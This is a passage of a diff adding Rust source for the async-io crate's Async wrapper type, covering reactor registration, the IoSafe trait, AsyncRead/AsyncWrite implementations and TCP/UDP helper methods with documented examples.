use [`Async`] with types like [`File`][`std::fs::File`], +/// [`Stdin`][`std::io::Stdin`], [`Stdout`][`std::io::Stdout`], or [`Stderr`][`std::io::Stderr`] +/// because all operating systems have issues with them when put in non-blocking mode. +/// +/// [timerfd]: https://github.com/smol-rs/async-io/blob/master/examples/linux-timerfd.rs +/// [inotify]: https://github.com/smol-rs/async-io/blob/master/examples/linux-inotify.rs +/// +/// ### Concurrent I/O +/// +/// Note that [`&Async`][`Async`] implements [`AsyncRead`] and [`AsyncWrite`] if `&T` +/// implements those traits, which means tasks can concurrently read and write using shared +/// references. +/// +/// But there is a catch: only one task can read a time, and only one task can write at a time. It +/// is okay to have two tasks where one is reading and the other is writing at the same time, but +/// it is not okay to have two tasks reading at the same time or writing at the same time. If you +/// try to do that, conflicting tasks will just keep waking each other in turn, thus wasting CPU +/// time. +/// +/// Besides [`AsyncRead`] and [`AsyncWrite`], this caveat also applies to +/// [`poll_readable()`][`Async::poll_readable()`] and +/// [`poll_writable()`][`Async::poll_writable()`]. +/// +/// However, any number of tasks can be concurrently calling other methods like +/// [`readable()`][`Async::readable()`] or [`read_with()`][`Async::read_with()`]. +/// +/// ### Closing +/// +/// Closing the write side of [`Async`] with [`close()`][`futures_lite::AsyncWriteExt::close()`] +/// simply flushes. If you want to shutdown a TCP or Unix socket, use +/// [`Shutdown`][`std::net::Shutdown`]. +/// +/// # Examples +/// +/// Connect to a server and echo incoming messages back to the server: +/// +/// ```no_run +/// use async_io::Async; +/// use futures_lite::io; +/// use std::net::TcpStream; +/// +/// # futures_lite::future::block_on(async { +/// // Connect to a local server. +/// let stream = Async::::connect(([127, 0, 0, 1], 8000)).await?; +/// +/// // Echo all messages from the read side of the stream into the write side. +/// io::copy(&stream, &stream).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +/// +/// You can use either predefined async methods or wrap blocking I/O operations in +/// [`Async::read_with()`], [`Async::read_with_mut()`], [`Async::write_with()`], and +/// [`Async::write_with_mut()`]: +/// +/// ```no_run +/// use async_io::Async; +/// use std::net::TcpListener; +/// +/// # futures_lite::future::block_on(async { +/// let listener = Async::::bind(([127, 0, 0, 1], 0))?; +/// +/// // These two lines are equivalent: +/// let (stream, addr) = listener.accept().await?; +/// let (stream, addr) = listener.read_with(|inner| inner.accept()).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +#[derive(Debug)] +pub struct Async { + /// A source registered in the reactor. + source: Arc, + + /// The inner I/O handle. + io: Option, +} + +impl Unpin for Async {} + +#[cfg(unix)] +impl Async { + /// Creates an async I/O handle. + /// + /// This method will put the handle in non-blocking mode and register it in + /// [epoll]/[kqueue]/[event ports]/[IOCP]. + /// + /// On Unix systems, the handle must implement `AsFd`, while on Windows it must implement + /// `AsSocket`. + /// + /// [epoll]: https://en.wikipedia.org/wiki/Epoll + /// [kqueue]: https://en.wikipedia.org/wiki/Kqueue + /// [event ports]: https://illumos.org/man/port_create + /// [IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::{SocketAddr, TcpListener}; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind(SocketAddr::from(([127, 0, 0, 1], 0)))?; + /// let listener = Async::new(listener)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn new(io: T) -> io::Result> { + // Put the file descriptor in non-blocking mode. + set_nonblocking(io.as_fd())?; + + Self::new_nonblocking(io) + } + + /// Creates an async I/O handle without setting it to non-blocking mode. + /// + /// This method will register the handle in [epoll]/[kqueue]/[event ports]/[IOCP]. + /// + /// On Unix systems, the handle must implement `AsFd`, while on Windows it must implement + /// `AsSocket`. + /// + /// [epoll]: https://en.wikipedia.org/wiki/Epoll + /// [kqueue]: https://en.wikipedia.org/wiki/Kqueue + /// [event ports]: https://illumos.org/man/port_create + /// [IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports + /// + /// # Caveats + /// + /// The caller should ensure that the handle is set to non-blocking mode or that it is okay if + /// it is not set. If not set to non-blocking mode, I/O operations may block the current thread + /// and cause a deadlock in an asynchronous context. + pub fn new_nonblocking(io: T) -> io::Result> { + // SAFETY: It is impossible to drop the I/O source while it is registered through + // this type. + let registration = unsafe { Registration::new(io.as_fd()) }; + + Ok(Async { + source: Reactor::get().insert_io(registration)?, + io: Some(io), + }) + } +} + +#[cfg(unix)] +impl AsRawFd for Async { + fn as_raw_fd(&self) -> RawFd { + self.get_ref().as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for Async { + fn as_fd(&self) -> BorrowedFd<'_> { + self.get_ref().as_fd() + } +} + +#[cfg(unix)] +impl> TryFrom for Async { + type Error = io::Error; + + fn try_from(value: OwnedFd) -> Result { + Async::new(value.into()) + } +} + +#[cfg(unix)] +impl> TryFrom> for OwnedFd { + type Error = io::Error; + + fn try_from(value: Async) -> Result { + value.into_inner().map(Into::into) + } +} + +#[cfg(windows)] +impl Async { + /// Creates an async I/O handle. + /// + /// This method will put the handle in non-blocking mode and register it in + /// [epoll]/[kqueue]/[event ports]/[IOCP]. + /// + /// On Unix systems, the handle must implement `AsFd`, while on Windows it must implement + /// `AsSocket`. + /// + /// [epoll]: https://en.wikipedia.org/wiki/Epoll + /// [kqueue]: https://en.wikipedia.org/wiki/Kqueue + /// [event ports]: https://illumos.org/man/port_create + /// [IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::{SocketAddr, TcpListener}; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind(SocketAddr::from(([127, 0, 0, 1], 0)))?; + /// let listener = Async::new(listener)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn new(io: T) -> io::Result> { + // Put the socket in non-blocking mode. + set_nonblocking(io.as_socket())?; + + Self::new_nonblocking(io) + } + + /// Creates an async I/O handle without setting it to non-blocking mode. + /// + /// This method will register the handle in [epoll]/[kqueue]/[event ports]/[IOCP]. + /// + /// On Unix systems, the handle must implement `AsFd`, while on Windows it must implement + /// `AsSocket`. + /// + /// [epoll]: https://en.wikipedia.org/wiki/Epoll + /// [kqueue]: https://en.wikipedia.org/wiki/Kqueue + /// [event ports]: https://illumos.org/man/port_create + /// [IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports + /// + /// # Caveats + /// + /// The caller should ensure that the handle is set to non-blocking mode or that it is okay if + /// it is not set. If not set to non-blocking mode, I/O operations may block the current thread + /// and cause a deadlock in an asynchronous context. + pub fn new_nonblocking(io: T) -> io::Result> { + // Create the registration. + // + // SAFETY: It is impossible to drop the I/O source while it is registered through + // this type. + let registration = unsafe { Registration::new(io.as_socket()) }; + + Ok(Async { + source: Reactor::get().insert_io(registration)?, + io: Some(io), + }) + } +} + +#[cfg(windows)] +impl AsRawSocket for Async { + fn as_raw_socket(&self) -> RawSocket { + self.get_ref().as_raw_socket() + } +} + +#[cfg(windows)] +impl AsSocket for Async { + fn as_socket(&self) -> BorrowedSocket<'_> { + self.get_ref().as_socket() + } +} + +#[cfg(windows)] +impl> TryFrom for Async { + type Error = io::Error; + + fn try_from(value: OwnedSocket) -> Result { + Async::new(value.into()) + } +} + +#[cfg(windows)] +impl> TryFrom> for OwnedSocket { + type Error = io::Error; + + fn try_from(value: Async) -> Result { + value.into_inner().map(Into::into) + } +} + +impl Async { + /// Gets a reference to the inner I/O handle. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// let inner = listener.get_ref(); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn get_ref(&self) -> &T { + self.io.as_ref().unwrap() + } + + /// Gets a mutable reference to the inner I/O handle. + /// + /// # Safety + /// + /// The underlying I/O source must not be dropped using this function. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let mut listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// let inner = unsafe { listener.get_mut() }; + /// # std::io::Result::Ok(()) }); + /// ``` + pub unsafe fn get_mut(&mut self) -> &mut T { + self.io.as_mut().unwrap() + } + + /// Unwraps the inner I/O handle. + /// + /// This method will **not** put the I/O handle back into blocking mode. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// let inner = listener.into_inner()?; + /// + /// // Put the listener back into blocking mode. + /// inner.set_nonblocking(false)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn into_inner(mut self) -> io::Result { + let io = self.io.take().unwrap(); + Reactor::get().remove_io(&self.source)?; + Ok(io) + } + + /// Waits until the I/O handle is readable. + /// + /// This method completes when a read operation on this I/O handle wouldn't block. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let mut listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// + /// // Wait until a client can be accepted. + /// listener.readable().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn readable(&self) -> Readable<'_, T> { + Source::readable(self) + } + + /// Waits until the I/O handle is readable. + /// + /// This method completes when a read operation on this I/O handle wouldn't block. + pub fn readable_owned(self: Arc) -> ReadableOwned { + Source::readable_owned(self) + } + + /// Waits until the I/O handle is writable. + /// + /// This method completes when a write operation on this I/O handle wouldn't block. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::{TcpStream, ToSocketAddrs}; + /// + /// # futures_lite::future::block_on(async { + /// let addr = "example.com:80".to_socket_addrs()?.next().unwrap(); + /// let stream = Async::::connect(addr).await?; + /// + /// // Wait until the stream is writable. + /// stream.writable().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn writable(&self) -> Writable<'_, T> { + Source::writable(self) + } + + /// Waits until the I/O handle is writable. + /// + /// This method completes when a write operation on this I/O handle wouldn't block. + pub fn writable_owned(self: Arc) -> WritableOwned { + Source::writable_owned(self) + } + + /// Polls the I/O handle for readability. + /// + /// When this method returns [`Poll::Ready`], that means the OS has delivered an event + /// indicating readability since the last time this task has called the method and received + /// [`Poll::Pending`]. + /// + /// # Caveats + /// + /// Two different tasks should not call this method concurrently. Otherwise, conflicting tasks + /// will just keep waking each other in turn, thus wasting CPU time. + /// + /// Note that the [`AsyncRead`] implementation for [`Async`] also uses this method. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::future::poll_fn; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let mut listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// + /// // Wait until a client can be accepted. + /// poll_fn(|cx| listener.poll_readable(cx)).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn poll_readable(&self, cx: &mut Context<'_>) -> Poll> { + self.source.poll_readable(cx) + } + + /// Polls the I/O handle for writability. + /// + /// When this method returns [`Poll::Ready`], that means the OS has delivered an event + /// indicating writability since the last time this task has called the method and received + /// [`Poll::Pending`]. + /// + /// # Caveats + /// + /// Two different tasks should not call this method concurrently. Otherwise, conflicting tasks + /// will just keep waking each other in turn, thus wasting CPU time. + /// + /// Note that the [`AsyncWrite`] implementation for [`Async`] also uses this method. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::future::poll_fn; + /// use std::net::{TcpStream, ToSocketAddrs}; + /// + /// # futures_lite::future::block_on(async { + /// let addr = "example.com:80".to_socket_addrs()?.next().unwrap(); + /// let stream = Async::::connect(addr).await?; + /// + /// // Wait until the stream is writable. + /// poll_fn(|cx| stream.poll_writable(cx)).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn poll_writable(&self, cx: &mut Context<'_>) -> Poll> { + self.source.poll_writable(cx) + } + + /// Performs a read operation asynchronously. + /// + /// The I/O handle is registered in the reactor and put in non-blocking mode. This method + /// invokes the `op` closure in a loop until it succeeds or returns an error other than + /// [`io::ErrorKind::WouldBlock`]. In between iterations of the loop, it waits until the OS + /// sends a notification that the I/O handle is readable. + /// + /// The closure receives a shared reference to the I/O handle. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// + /// // Accept a new client asynchronously. + /// let (stream, addr) = listener.read_with(|l| l.accept()).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn read_with(&self, op: impl FnMut(&T) -> io::Result) -> io::Result { + let mut op = op; + loop { + match op(self.get_ref()) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return res, + } + optimistic(self.readable()).await?; + } + } + + /// Performs a read operation asynchronously. + /// + /// The I/O handle is registered in the reactor and put in non-blocking mode. This method + /// invokes the `op` closure in a loop until it succeeds or returns an error other than + /// [`io::ErrorKind::WouldBlock`]. In between iterations of the loop, it waits until the OS + /// sends a notification that the I/O handle is readable. + /// + /// The closure receives a mutable reference to the I/O handle. + /// + /// # Safety + /// + /// In the closure, the underlying I/O source must not be dropped. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let mut listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// + /// // Accept a new client asynchronously. + /// let (stream, addr) = unsafe { listener.read_with_mut(|l| l.accept()).await? }; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async unsafe fn read_with_mut( + &mut self, + op: impl FnMut(&mut T) -> io::Result, + ) -> io::Result { + let mut op = op; + loop { + match op(self.get_mut()) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return res, + } + optimistic(self.readable()).await?; + } + } + + /// Performs a write operation asynchronously. + /// + /// The I/O handle is registered in the reactor and put in non-blocking mode. This method + /// invokes the `op` closure in a loop until it succeeds or returns an error other than + /// [`io::ErrorKind::WouldBlock`]. In between iterations of the loop, it waits until the OS + /// sends a notification that the I/O handle is writable. + /// + /// The closure receives a shared reference to the I/O handle. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// socket.get_ref().connect("127.0.0.1:9000")?; + /// + /// let msg = b"hello"; + /// let len = socket.write_with(|s| s.send(msg)).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn write_with(&self, op: impl FnMut(&T) -> io::Result) -> io::Result { + let mut op = op; + loop { + match op(self.get_ref()) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return res, + } + optimistic(self.writable()).await?; + } + } + + /// Performs a write operation asynchronously. + /// + /// The I/O handle is registered in the reactor and put in non-blocking mode. This method + /// invokes the `op` closure in a loop until it succeeds or returns an error other than + /// [`io::ErrorKind::WouldBlock`]. In between iterations of the loop, it waits until the OS + /// sends a notification that the I/O handle is writable. + /// + /// # Safety + /// + /// The closure receives a mutable reference to the I/O handle. In the closure, the underlying + /// I/O source must not be dropped. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let mut socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// socket.get_ref().connect("127.0.0.1:9000")?; + /// + /// let msg = b"hello"; + /// let len = unsafe { socket.write_with_mut(|s| s.send(msg)).await? }; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async unsafe fn write_with_mut( + &mut self, + op: impl FnMut(&mut T) -> io::Result, + ) -> io::Result { + let mut op = op; + loop { + match op(self.get_mut()) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return res, + } + optimistic(self.writable()).await?; + } + } +} + +impl AsRef for Async { + fn as_ref(&self) -> &T { + self.get_ref() + } +} + +impl Drop for Async { + fn drop(&mut self) { + if self.io.is_some() { + // Deregister and ignore errors because destructors should not panic. + Reactor::get().remove_io(&self.source).ok(); + + // Drop the I/O handle to close it. + self.io.take(); + } + } +} + +/// Types whose I/O trait implementations do not drop the underlying I/O source. +/// +/// The resource contained inside of the [`Async`] cannot be invalidated. This invalidation can +/// happen if the inner resource (the [`TcpStream`], [`UnixListener`] or other `T`) is moved out +/// and dropped before the [`Async`]. Because of this, functions that grant mutable access to +/// the inner type are unsafe, as there is no way to guarantee that the source won't be dropped +/// and a dangling handle won't be left behind. +/// +/// Unfortunately this extends to implementations of [`Read`] and [`Write`]. Since methods on those +/// traits take `&mut`, there is no guarantee that the implementor of those traits won't move the +/// source out while the method is being run. +/// +/// This trait is an antidote to this predicament. By implementing this trait, the user pledges +/// that using any I/O traits won't destroy the source. This way, [`Async`] can implement the +/// `async` version of these I/O traits, like [`AsyncRead`] and [`AsyncWrite`]. +/// +/// # Safety +/// +/// Any I/O trait implementations for this type must not drop the underlying I/O source. Traits +/// affected by this trait include [`Read`], [`Write`], [`Seek`] and [`BufRead`]. +/// +/// This trait is implemented by default on top of `libstd` types. In addition, it is implemented +/// for immutable reference types, as it is impossible to invalidate any outstanding references +/// while holding an immutable reference, even with interior mutability. As Rust's current pinning +/// system relies on similar guarantees, I believe that this approach is robust. +/// +/// [`BufRead`]: https://doc.rust-lang.org/std/io/trait.BufRead.html +/// [`Read`]: https://doc.rust-lang.org/std/io/trait.Read.html +/// [`Seek`]: https://doc.rust-lang.org/std/io/trait.Seek.html +/// [`Write`]: https://doc.rust-lang.org/std/io/trait.Write.html +/// +/// [`AsyncRead`]: https://docs.rs/futures-io/latest/futures_io/trait.AsyncRead.html +/// [`AsyncWrite`]: https://docs.rs/futures-io/latest/futures_io/trait.AsyncWrite.html +pub unsafe trait IoSafe {} + +/// Reference types can't be mutated. +/// +/// The worst thing that can happen is that external state is used to change what kind of pointer +/// `as_fd()` returns. For instance: +/// +/// ``` +/// # #[cfg(unix)] { +/// use std::cell::Cell; +/// use std::net::TcpStream; +/// use std::os::unix::io::{AsFd, BorrowedFd}; +/// +/// struct Bar { +/// flag: Cell, +/// a: TcpStream, +/// b: TcpStream +/// } +/// +/// impl AsFd for Bar { +/// fn as_fd(&self) -> BorrowedFd<'_> { +/// if self.flag.replace(!self.flag.get()) { +/// self.a.as_fd() +/// } else { +/// self.b.as_fd() +/// } +/// } +/// } +/// # } +/// ``` +/// +/// We solve this problem by only calling `as_fd()` once to get the original source. Implementations +/// like this are considered buggy (but not unsound) and are thus not really supported by `async-io`. +unsafe impl IoSafe for &T {} + +// Can be implemented on top of libstd types. +unsafe impl IoSafe for std::fs::File {} +unsafe impl IoSafe for std::io::Stderr {} +unsafe impl IoSafe for std::io::Stdin {} +unsafe impl IoSafe for std::io::Stdout {} +unsafe impl IoSafe for std::io::StderrLock<'_> {} +unsafe impl IoSafe for std::io::StdinLock<'_> {} +unsafe impl IoSafe for std::io::StdoutLock<'_> {} +unsafe impl IoSafe for std::net::TcpStream {} +unsafe impl IoSafe for std::process::ChildStdin {} +unsafe impl IoSafe for std::process::ChildStdout {} +unsafe impl IoSafe for std::process::ChildStderr {} + +#[cfg(unix)] +unsafe impl IoSafe for std::os::unix::net::UnixStream {} + +// PipeReader & PipeWriter require std >= 1.87, our MSRV is 1.71, hence +// conditional on cfg()s, generated from build.rs +#[cfg(not(async_io_no_pipe))] +unsafe impl IoSafe for std::io::PipeReader {} +#[cfg(not(async_io_no_pipe))] +unsafe impl IoSafe for std::io::PipeWriter {} + +unsafe impl IoSafe for std::io::BufReader {} +unsafe impl IoSafe for std::io::BufWriter {} +unsafe impl IoSafe for std::io::LineWriter {} +unsafe impl IoSafe for &mut T {} +unsafe impl IoSafe for Box {} +unsafe impl IoSafe for std::borrow::Cow<'_, T> {} + +impl AsyncRead for Async { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + loop { + match unsafe { (*self).get_mut() }.read(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_readable(cx))?; + } + } + + fn poll_read_vectored( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + bufs: &mut [IoSliceMut<'_>], + ) -> Poll> { + loop { + match unsafe { (*self).get_mut() }.read_vectored(bufs) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_readable(cx))?; + } + } +} + +// Since this is through a reference, we can't mutate the inner I/O source. +// Therefore this is safe! +impl AsyncRead for &Async +where + for<'a> &'a T: Read, +{ + fn poll_read( + self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + loop { + match (*self).get_ref().read(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_readable(cx))?; + } + } + + fn poll_read_vectored( + self: Pin<&mut Self>, + cx: &mut Context<'_>, + bufs: &mut [IoSliceMut<'_>], + ) -> Poll> { + loop { + match (*self).get_ref().read_vectored(bufs) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_readable(cx))?; + } + } +} + +impl AsyncWrite for Async { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + loop { + match unsafe { (*self).get_mut() }.write(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_writable(cx))?; + } + } + + fn poll_write_vectored( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + bufs: &[IoSlice<'_>], + ) -> Poll> { + loop { + match unsafe { (*self).get_mut() }.write_vectored(bufs) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_writable(cx))?; + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + match unsafe { (*self).get_mut() }.flush() { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_writable(cx))?; + } + } + + fn poll_close(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + self.poll_flush(cx) + } +} + +impl AsyncWrite for &Async +where + for<'a> &'a T: Write, +{ + fn poll_write( + self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + loop { + match (*self).get_ref().write(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_writable(cx))?; + } + } + + fn poll_write_vectored( + self: Pin<&mut Self>, + cx: &mut Context<'_>, + bufs: &[IoSlice<'_>], + ) -> Poll> { + loop { + match (*self).get_ref().write_vectored(bufs) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_writable(cx))?; + } + } + + fn poll_flush(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + match (*self).get_ref().flush() { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => return Poll::Ready(res), + } + ready!(self.poll_writable(cx))?; + } + } + + fn poll_close(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + self.poll_flush(cx) + } +} + +impl Async { + /// Creates a TCP listener bound to the specified address. + /// + /// Binding with port number 0 will request an available port from the OS. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind(([127, 0, 0, 1], 0))?; + /// println!("Listening on {}", listener.get_ref().local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn bind>(addr: A) -> io::Result> { + let addr = addr.into(); + Async::new(TcpListener::bind(addr)?) + } + + /// Accepts a new incoming TCP connection. + /// + /// When a connection is established, it will be returned as a TCP stream together with its + /// remote address. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind(([127, 0, 0, 1], 8000))?; + /// let (stream, addr) = listener.accept().await?; + /// println!("Accepted client: {}", addr); + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn accept(&self) -> io::Result<(Async, SocketAddr)> { + let (stream, addr) = self.read_with(|io| io.accept()).await?; + Ok((Async::new(stream)?, addr)) + } + + /// Returns a stream of incoming TCP connections. + /// + /// The stream is infinite, i.e. it never stops with a [`None`]. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use futures_lite::{stream::StreamExt}; + /// use std::net::TcpListener; + /// use std::pin::pin; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind(([127, 0, 0, 1], 8000))?; + /// let incoming = listener.incoming(); + /// let mut incoming = pin!(incoming); + /// + /// while let Some(stream) = incoming.next().await { + /// let stream = stream?; + /// println!("Accepted client: {}", stream.get_ref().peer_addr()?); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn incoming(&self) -> impl Stream>> + Send + '_ { + stream::unfold(self, |listener| async move { + let res = listener.accept().await.map(|(stream, _)| stream); + Some((res, listener)) + }) + } +} + +impl TryFrom for Async { + type Error = io::Error; + + fn try_from(listener: std::net::TcpListener) -> io::Result { + Async::new(listener) + } +} + +impl Async { + /// Creates a TCP connection to the specified address. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::{TcpStream, ToSocketAddrs}; + /// + /// # futures_lite::future::block_on(async { + /// let addr = "example.com:80".to_socket_addrs()?.next().unwrap(); + /// let stream = Async::::connect(addr).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn connect>(addr: A) -> io::Result> { + // Figure out how to handle this address. + let addr = addr.into(); + let (domain, sock_addr) = match addr { + SocketAddr::V4(v4) => (rn::AddressFamily::INET, v4.as_any()), + SocketAddr::V6(v6) => (rn::AddressFamily::INET6, v6.as_any()), + }; + + // Begin async connect. + let socket = connect(sock_addr, domain, Some(rn::ipproto::TCP))?; + // Use new_nonblocking because connect already sets socket to non-blocking mode. + let stream = Async::new_nonblocking(TcpStream::from(socket))?; + + // The stream becomes writable when connected. + stream.writable().await?; + + // Check if there was an error while connecting. + match stream.get_ref().take_error()? { + None => Ok(stream), + Some(err) => Err(err), + } + } + + /// Reads data from the stream without removing it from the buffer. + /// + /// Returns the number of bytes read. Successive calls of this method read the same data. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use futures_lite::{io::AsyncWriteExt, stream::StreamExt}; + /// use std::net::{TcpStream, ToSocketAddrs}; + /// + /// # futures_lite::future::block_on(async { + /// let addr = "example.com:80".to_socket_addrs()?.next().unwrap(); + /// let mut stream = Async::::connect(addr).await?; + /// + /// stream + /// .write_all(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n") + /// .await?; + /// + /// let mut buf = [0u8; 1024]; + /// let len = stream.peek(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn peek(&self, buf: &mut [u8]) -> io::Result { + self.read_with(|io| io.peek(buf)).await + } +} + +impl TryFrom for Async { + type Error = io::Error; + + fn try_from(stream: std::net::TcpStream) -> io::Result { + Async::new(stream) + } +} + +impl Async { + /// Creates a UDP socket bound to the specified address. + /// + /// Binding with port number 0 will request an available port from the OS. + /// + /// # Examples + /// + /// ``` + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 0))?; + /// println!("Bound to {}", socket.get_ref().local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn bind>(addr: A) -> io::Result> { + let addr = addr.into(); + Async::new(UdpSocket::bind(addr)?) + } + + /// Receives a single datagram message. + /// + /// Returns the number of bytes read and the address the message came from. + /// + /// This method must be called with a valid byte slice of sufficient size to hold the message. + /// If the message is too long to fit, excess bytes may get discarded. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// + /// let mut buf = [0u8; 1024]; + /// let (len, addr) = socket.recv_from(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv_from(&self, buf: &mut [u8]) -> io::Result<(usize, SocketAddr)> { + self.read_with(|io| io.recv_from(buf)).await + } + + /// Receives a single datagram message without removing it from the queue. + /// + /// Returns the number of bytes read and the address the message came from. + /// + /// This method must be called with a valid byte slice of sufficient size to hold the message. + /// If the message is too long to fit, excess bytes may get discarded. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// + /// let mut buf = [0u8; 1024]; + /// let (len, addr) = socket.peek_from(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn peek_from(&self, buf: &mut [u8]) -> io::Result<(usize, SocketAddr)> { + self.read_with(|io| io.peek_from(buf)).await + } + + /// Sends data to the specified address. + /// + /// Returns the number of bytes written. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 0))?; + /// let addr = socket.get_ref().local_addr()?; + /// + /// let msg = b"hello"; + /// let len = socket.send_to(msg, addr).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send_to>(&self, buf: &[u8], addr: A) -> 